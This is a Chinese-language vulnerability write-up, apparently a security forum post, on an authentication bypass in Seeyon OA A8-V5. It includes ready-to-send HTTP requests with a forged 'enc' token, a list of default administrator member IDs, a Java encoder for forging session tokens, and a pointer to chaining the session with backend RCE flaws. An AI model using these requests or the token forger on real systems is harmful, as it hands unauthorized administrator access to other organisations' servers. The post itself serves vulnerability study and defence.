致远OA A8-V5 任意用户登录漏洞分析
1815098357643864 发表于 重庆 漏洞分析 5043浏览 · 2024-02-20 10:04

致远OA A8-V5 任意用户登录漏洞分析

漏洞环境

致远A8 V7.0

漏洞利用

接口 /seeyon/thirdpartyController.do

GET /seeyon/thirdpartyController.do?method=access&enc=TT5uZnR0YmhmL21qb2wvY2N0L3BxZm8nTj4uODM4NDE0MzEyNDM0NTg1OTI3OSdVPjo6Ojo6Ojo6Ojo6Ojo= HTTP/1.1
Host: 192.168.0.109
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

可以在响应包中得到一个JSESSIONID,在携带JSESSIONID 访问/seeyon/online.do接口进行验证。

GET /seeyon/online.do?method=showOnlineUser HTTP/1.1
Host: 192.168.0.103
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=8C078E76C97C408221F7CD808AF28932; loginPageURL=; avatarImageUrl=-7273032013234748168
Connection: close

可用该JSESSIONID访问需要登录的接口,配合后台一些RCE漏洞进行利用。

漏洞分析

在源码中全局搜索thirdpartyController 关键字

可以根据路由接口找到对应配置文件中类文件的映射,跟入到com.seeyon.ctp.portal.sso.thirdpartyintegration.controller.ThirdpartyController中。

根据exp可以得知调用了该类的access方法。

在这个方法中代码还是比较多,我做了一些简化,保留了关键的几个代码片段。

public ModelAndView access(HttpServletRequest request, HttpServletResponse response) throws Exception {

        ModelAndView mv = new ModelAndView("thirdparty/thirdpartyAccess");
        String enc = null;
        if (request.getParameter("enc") != null) {
            enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
        } else {
            String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);
            enc = request.getQueryString().indexOf("enc=") > 0 ? LightWeightEncoder.decodeString(transcode) : null;
        }

        if (enc == null) {
            mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
            return mv;
        } else {
            Map<String, String> encMap = new HashMap();
            String[] enc0 = enc.split("[&]");
            String[] link = enc0;
            int var14 = enc0.length;

            String path;
            String startTimeStr;
            for(int var15 = 0; var15 < var14; ++var15) {
                String enc1 = link[var15];
                String[] enc2 = enc1.split("[=]");
                if (enc2 != null) {
                    path = enc2[0];
                    startTimeStr = enc2.length == 2 ? enc2[1] : null;
                    if (null != startTimeStr) {
                        startTimeStr = URLEncoder.encode(startTimeStr);
                        startTimeStr = startTimeStr.replaceAll("%3F", "");
                        startTimeStr = URLDecoder.decode(startTimeStr);
                    }

                    encMap.put(path, startTimeStr);
                }
            }

            link = null;
            long memberId = -1L;
            Constants.login_useragent_from userAgentFrom = login_useragent_from.pc;
            String linkType = (String)encMap.get("L");
            path = (String)encMap.get("P");
            Long timeStamp;
            String link;
            if (Strings.isNotBlank(linkType)) {
                startTimeStr = "0";
                if (encMap.containsKey("T")) {
                    startTimeStr = (String)encMap.get("T");
                    startTimeStr = startTimeStr.trim();
                }

                timeStamp = 0L;
                if (NumberUtils.isNumber(startTimeStr)) {
                    timeStamp = Long.parseLong(startTimeStr);
                }

                if ((System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
                    mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
                    return mv;
                }

                String _memberId = (String)encMap.get("M");
                if (_memberId == null) {
                    mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
                    return mv;
                }

                memberId = Long.parseLong(_memberId);
                link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
                if (link == null) {
                    mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
                    return mv;
                }


            } else {


            if (memberId == -1L) {
                mv.addObject("ExceptionKey", "mail.read.alert.noUser");
                return mv;
            } else {
                boolean isNeedLogout = false;
                long time2 = System.currentTimeMillis();
                log.info("Param耗时" + (time2 - time1) + "MS");
                User currentUser = (User)session.getAttribute("com.seeyon.current_user");
                if (currentUser != null && !currentUser.isDefaultGuest()) {
                    if (currentUser.getId() != memberId) {
                        mv.addObject("ExceptionKey", "mail.read.alert.exists");
                        return mv;
                    }
                } else {
                    V3xOrgMember member = this.orgManager.getMemberById(memberId);
                    if (member == null) {
                        mv.addObject("ExceptionKey", "mail.read.alert.noUser");
                        return mv;
                    }

                    LocaleContext.setLocale(session, this.orgManagerDirect.getMemberLocaleById(member.getId()));
                    currentUser = new User();
                    currentUser.setLoginTimestamp(loginTime);
                    session.setAttribute("com.seeyon.current_user", currentUser);
                    AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", currentUser);
                    AppContext.initSystemEnvironmentContext(request, response, true);
                    currentUser.setSecurityKey(UUIDLong.longUUID());
                    currentUser.setId(memberId);
                    currentUser.setName(member.getName());
                    currentUser.setLoginName(member.getLoginName());
                    currentUser.setAccountId(member.getOrgAccountId());
                    currentUser.setLoginAccount(member.getOrgAccountId());
                    currentUser.setDepartmentId(member.getOrgDepartmentId());
                    currentUser.setLevelId(member.getOrgLevelId());
                    currentUser.setPostId(member.getOrgPostId());
                    currentUser.setInternal(member.getIsInternal());
                    currentUser.setUserAgentFrom(userAgentFrom.name());
                    currentUser.setSessionId(session.getId());
                    currentUser.setRemoteAddr(Strings.getRemoteAddr(request));
                    currentUser.setLocale(locale);
                    BrowserEnum browser = BrowserEnum.valueOf(request);
                .... 忽略了

                return mv;
            }
        }
    }

首先,在代码的276行处,接收了enc参数并使用LightWeightEncoder.decodeString进行解码,跟入到该方法中。

public static String decodeString(String encodeString) {
        if (encodeString == null) {
            return null;
        } else {
            try {
                encodeString = new String((new Base64()).decode(encodeString.getBytes()));
            } catch (Exception var3) {
                log.warn(var3.getMessage());
            }

            char[] encodeStringCharArray = encodeString.toCharArray();

            for(int i = 0; i < encodeStringCharArray.length; ++i) {
                --encodeStringCharArray[i];
            }

            return new String(encodeStringCharArray);
        }
    }

这个方法功能是对传入的字符串进行base64解码,然后再将解码后的字符串每一个字符向后移动一位。

如传入bcd->base64编码->调用decodeString->abc

很简单,接下来往下面看。

在286-307行处

这段代码是对经过经过decodeString解码后的值做一个分割操作,首先是将enc的值通过&分割成一个字符串列表,然后再进行遍历,再根据=再次分割字符串,将=前的值作为key放入encMap中,=后面的作为key的值 。如test=1&test2=2&test3=3,就会被拆成{"test": 1,"test2": 2, "test3": 3}

再往下边看。

Constants.login_useragent_from userAgentFrom = login_useragent_from.pc;
            String linkType = (String)encMap.get("L");
            path = (String)encMap.get("P");
            Long timeStamp;
            String link;
            if (Strings.isNotBlank(linkType)) {
                startTimeStr = "0";
                if (encMap.containsKey("T")) {
                    startTimeStr = (String)encMap.get("T");
                    startTimeStr = startTimeStr.trim();
                }

                timeStamp = 0L;
                if (NumberUtils.isNumber(startTimeStr)) {
                    timeStamp = Long.parseLong(startTimeStr);
                }

                if ((System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
                    mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
                    return mv;
                }

                String _memberId = (String)encMap.get("M");
                if (_memberId == null) {
                    mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
                    return mv;
                }

                memberId = Long.parseLong(_memberId);
                link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
                if (link == null) {
                    mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
                    return mv;
                }

上面这段代码是从encMap中根据键LPTM拿到对应的值分别赋值给linkTypepathstartTimeStr_memberId

其中linkTypestartTimeStr_memberId所获取到的值很关键,也很重要。

在316-344行处

这里之所以要进入这个if语句体中,是因为需要执行333这条语句,从encMap中获取到_memberId的值,后这个值将会有很大的作用。

在执行在拿到_memberId值之前,先是判断当前的时间是否大于了指定的时间,如果是直接返回了,很显然,我们肯定不想直接返回。

if ((System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
    mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
    return mv;
}

这里的stimeStamp直接可控,所以可以直接传入一个很大的值,可以传入一个跟System.currentTimeMillis()获取到的一样的值,这个条件不成立就不会进入。然后就会在encMap中拿到_memberId的值。

最后

link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
    if (link == null) {
        mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
        return mv;
}

这里也是一个很关键的地方,如果link的值为空,那么会直接返回,所以这里必须通过linkType拿到点什么。

先跟入getMessageLinkType方法中。

调用了userMessageManager.getMessageLinkTypes()获取值,继续跟入

找到对应的实现类。

继续跟入

发现直接返回了messageLinkTypes,接下来在这个类中看看哪儿给messageLinkTypes传入了参数。

129-136行处,加载了/base/message-link.properties配置文件,然后把值赋put进messageLinkTypes中。

message-link.properties文件中

随便挑一个给linkType赋值就可以绕过最后一个条件。

接下来就来到最关键的一步

这段代码通过我们拿到的memberId作为参数调用了this.orgManager.getMemberById,这个方法大致就是通过memberId查找对应的用户,从别的师傅文章中得知,致远中存在几个默认的用户。

"5725175934914479521"   "集团管理员"
"-7273032013234748168"  "系统管理员"
"-7273032013234748798"  "系统监控"
"-4401606663639775639"  "审计管理员"

我们只需要通过以上memberId就能查询出管理员用户信息,在422行,用新创建的User对象重新设置了session,并且将查询出来的用户信息设置到了currentUser对象中,这才导致了任意用户登录漏洞。

参数编码解码代码

public class Test {
    public static void main(String[] args) {
            System.out.println(encodeString("L=message.link.bbs.open&M=-7273032013234748168&T=9999999999999"));
    }

    public static String decodeString(String encodeString) {
        if (encodeString == null) {
            return null;
        } else {
            try {
                encodeString = new String((new Base64()).decode(encodeString.getBytes()));
            } catch (Exception var3) {
                System.out.println(var3.getMessage());
            }

            char[] encodeStringCharArray = encodeString.toCharArray();

            for(int i = 0; i < encodeStringCharArray.length; ++i) {
                --encodeStringCharArray[i];
            }

            return new String(encodeStringCharArray);
        }
    }

    public static String encodeString(String encodeString) {
        if (encodeString == null) {
            return null;
        } else {
            char[] encodeStringCharArray = encodeString.toCharArray();

            for(int i = 0; i < encodeStringCharArray.length; ++i) {
                ++encodeStringCharArray[i];
            }

            try {
                encodeString = new String((new Base64()).encode((new String(encodeStringCharArray)).getBytes()));
            } catch (Exception var3) {
                System.out.println(var3.getMessage());
            }

            return encodeString;
        }
    }
}
0 条评论
某人
表情
可输入 255